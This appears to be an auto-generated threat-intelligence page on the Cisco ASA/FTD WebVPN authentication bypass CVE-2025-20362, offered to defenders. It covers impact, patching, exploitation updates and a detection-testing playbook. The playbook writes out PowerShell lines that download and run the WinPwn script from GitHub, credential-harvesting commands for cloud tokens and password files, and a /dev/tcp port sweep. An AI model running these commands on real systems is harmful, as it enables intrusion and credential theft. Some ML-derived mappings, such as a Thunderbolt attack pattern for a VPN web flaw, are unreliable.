CVE-2025-20362
Overview
This vulnerability is an authentication bypass caused by improper validation of user-supplied input in HTTP(S) requests to the VPN web server component of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software. The root cause lies in a path traversal flaw that allows unauthorized access to restricted URL endpoints related to remote access VPN functionality. The affected component is the VPN web server handling HTTP POST requests, which fails to enforce proper authentication checks on certain URL paths.
Vulnerability Description
Update: On November 5, 2025, Cisco became aware of a new attack variant against devices running Cisco Secure ASA Software or Cisco Secure FTD Software releases that are affected by CVE-2025-20333 and CVE-2025-20362. This attack can cause unpatched devices to unexpectedly reload, leading to denial of service (DoS) conditions. Cisco strongly recommends that all customers upgrade to the fixed software releases that are listed in the Fixed Software ["#fs"] section of this advisory. A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to access restricted URL endpoints that are related to remote access VPN that should otherwise be inaccessible without authentication. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests. An attacker could exploit this vulnerability by sending crafted HTTP requests to a targeted web server on a device. A successful exploit could allow the attacker to access a restricted URL without authentication.
Impact
An unauthenticated remote attacker can exploit this vulnerability without user interaction or credentials to access restricted VPN-related URL endpoints. This unauthorized access can be leveraged to gain further control over the device, potentially leading to remote code execution when chained with other vulnerabilities. The immediate consequence includes unauthorized access to sensitive VPN management functions and potential denial of service due to device reloads. This can result in disruption of enterprise network security infrastructure and compromise of protected network segments.
Solution
Cisco recommends upgrading to fixed software releases as detailed in their security advisory available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-YROOTUW. The advisory lists specific fixed versions of Cisco Secure Firewall ASA and FTD Software that address this vulnerability. Administrators should apply these updates promptly to affected devices. No alternative workarounds are documented; therefore, patching is the primary mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software. This issue arises from improper validation of user-supplied input in HTTP(S) requests, allowing unauthenticated remote attackers to access restricted URL endpoints related to remote access VPN functionalities. The flaw can be exploited by sending specially crafted HTTP requests to the targeted web server, enabling unauthorized access to sensitive resources that should otherwise require authentication. This vulnerability is particularly concerning as it can lead to significant security breaches if left unaddressed.
The attack vectors associated with this vulnerability are straightforward yet effective. An attacker can leverage the improper input validation to craft malicious HTTP requests, targeting the web server of an affected device. Once the crafted request is sent, the attacker may gain access to restricted URLs, potentially allowing them to execute further attacks or gather sensitive information. In addition, the vulnerability has been linked to a new attack variant that can cause unpatched devices to unexpectedly reload, resulting in denial of service (DoS) conditions. This dual threat amplifies the urgency for organizations to address the vulnerability promptly.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Cisco's security appliances for their network defense. Unauthorized access to restricted VPN endpoints can lead to data breaches, unauthorized network access, and the potential for attackers to escalate their privileges within the network. Moreover, the resulting denial of service can disrupt business operations, leading to financial losses and damage to an organization’s reputation. The implications extend beyond immediate financial costs, as regulatory penalties may also be incurred if sensitive data is compromised.
To effectively detect and mitigate this vulnerability, organizations should prioritize upgrading to the fixed software releases provided by Cisco. Regularly updating software is a fundamental cybersecurity practice that can significantly reduce the risk of exploitation. Additionally, implementing robust network monitoring solutions can help detect unusual HTTP request patterns indicative of an attempted exploit. Organizations should also consider employing intrusion detection systems (IDS) that can analyze traffic for signs of malicious activity related to this vulnerability. Furthermore, conducting regular security assessments and penetration testing can help identify potential weaknesses and ensure that security measures are up to date.
In conclusion, the vulnerability in Cisco's VPN web server poses a substantial risk to organizations utilizing the affected software. The potential for unauthorized access and denial of service highlights the importance of proactive security measures. By prioritizing software updates, enhancing monitoring capabilities, and conducting thorough security assessments, organizations can significantly mitigate the risks associated with this vulnerability and protect their critical assets from exploitation.
CSURFACE threat intelligence has detected a marked escalation in attack activity targeting Cisco Secure ASA and FTD devices vulnerable to CVE-2025-20362. This increase in telemetry correlates with the emergence of a new attack variant capable of causing unpatched systems to unexpectedly reload, resulting in denial of service conditions. Despite the downward revision of the CVSS score from 8.6 to 6.5, the elevated EPSS score and rising detection trends indicate that exploitation attempts are becoming more frequent and widespread. This shift underscores a more active threat landscape where adversaries are increasingly leveraging this vulnerability to disrupt network security infrastructure. For defenders, the evolving exploitation patterns necessitate heightened vigilance and continuous monitoring, as the risk of operational impact through service interruptions has grown. While no new exploit techniques have been publicly disclosed, the observed surge in attack attempts signals that threat actors are refining their methods, potentially increasing the likelihood of successful intrusions or service disruptions. Consequently, the overall threat level remains significant, with a moderate severity rating that belies the practical impact observed in the field.
Update 2 — June 07, 2026
CSURFACE threat intelligence has identified a new development in the exploitation landscape of CVE-2025-20362, marked by the emergence of a publicly available proof-of-concept exploit hosted on GitHub. This represents a significant shift from previous conditions where no such exploit code was accessible, lowering the barrier for threat actors to conduct targeted attacks against vulnerable Cisco Secure ASA and FTD devices. Although telemetry indicates a significant reduction in detection activity overall, the availability of this exploit tool signals an expansion in the exploit toolkit that adversaries can leverage. Notably, the CVSS score for this vulnerability has been revised upward from 6.5 to 8.6, reflecting an increased potential for impactful denial-of-service conditions through unexpected device reloads. Despite a slight decrease in the EPSS score, the vulnerability remains in the upper percentile of exploit likelihood, underscoring persistent risk. For defenders, this evolution necessitates heightened vigilance, as the presence of public exploit code can accelerate attack attempts and reduce the window for effective mitigation. Consequently, the threat level associated with CVE-2025-20362 has escalated to high severity, emphasizing the critical need for timely patching and continuous monitoring to prevent operational disruptions.
Update 3 — July 05, 2026
CSURFACE threat intelligence has detected a notable surge in activity exploiting CVE-2025-20362, with telemetry indicating increased attempts to trigger denial-of-service conditions via unexpected device reloads on vulnerable Cisco Secure ASA and FTD Software deployments. This uptick in exploitation attempts coincides with the emergence of new proof-of-concept scanning tools publicly available, which likely lowers the barrier for adversaries to identify and target susceptible systems. Although the EPSS score shows a slight upward trend, the overall exploit likelihood remains high, reinforcing the urgency of this vulnerability as a persistent threat vector. For defenders, this evolution signals a narrowing window to detect and respond to exploitation attempts before operational disruptions occur, particularly given the continued presence of active scanning and probing campaigns. Consequently, the threat level associated with CVE-2025-20362 has intensified, underscoring the critical importance of sustained monitoring and rapid incident response capabilities.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
curtishoughton/CVE-2025-20362-Cisco-Scanner
Safe Python scanner for CVE-2025-20362 (Cisco ASA/FTD WebVPN Authentication Bypass)
|
curtishoughton | 1 | 0 | 2026-05-16 | View |
Threat Feed
17 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
43%
|
Low | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-20362 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-YROOTUW |
| sec.cloudapps.cisco.com |
NVD API
Vendor Advisory
|
https://sec.cloudapps.cisco.com/security/center/resources/asa_ftd_continued_attacks |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20362 |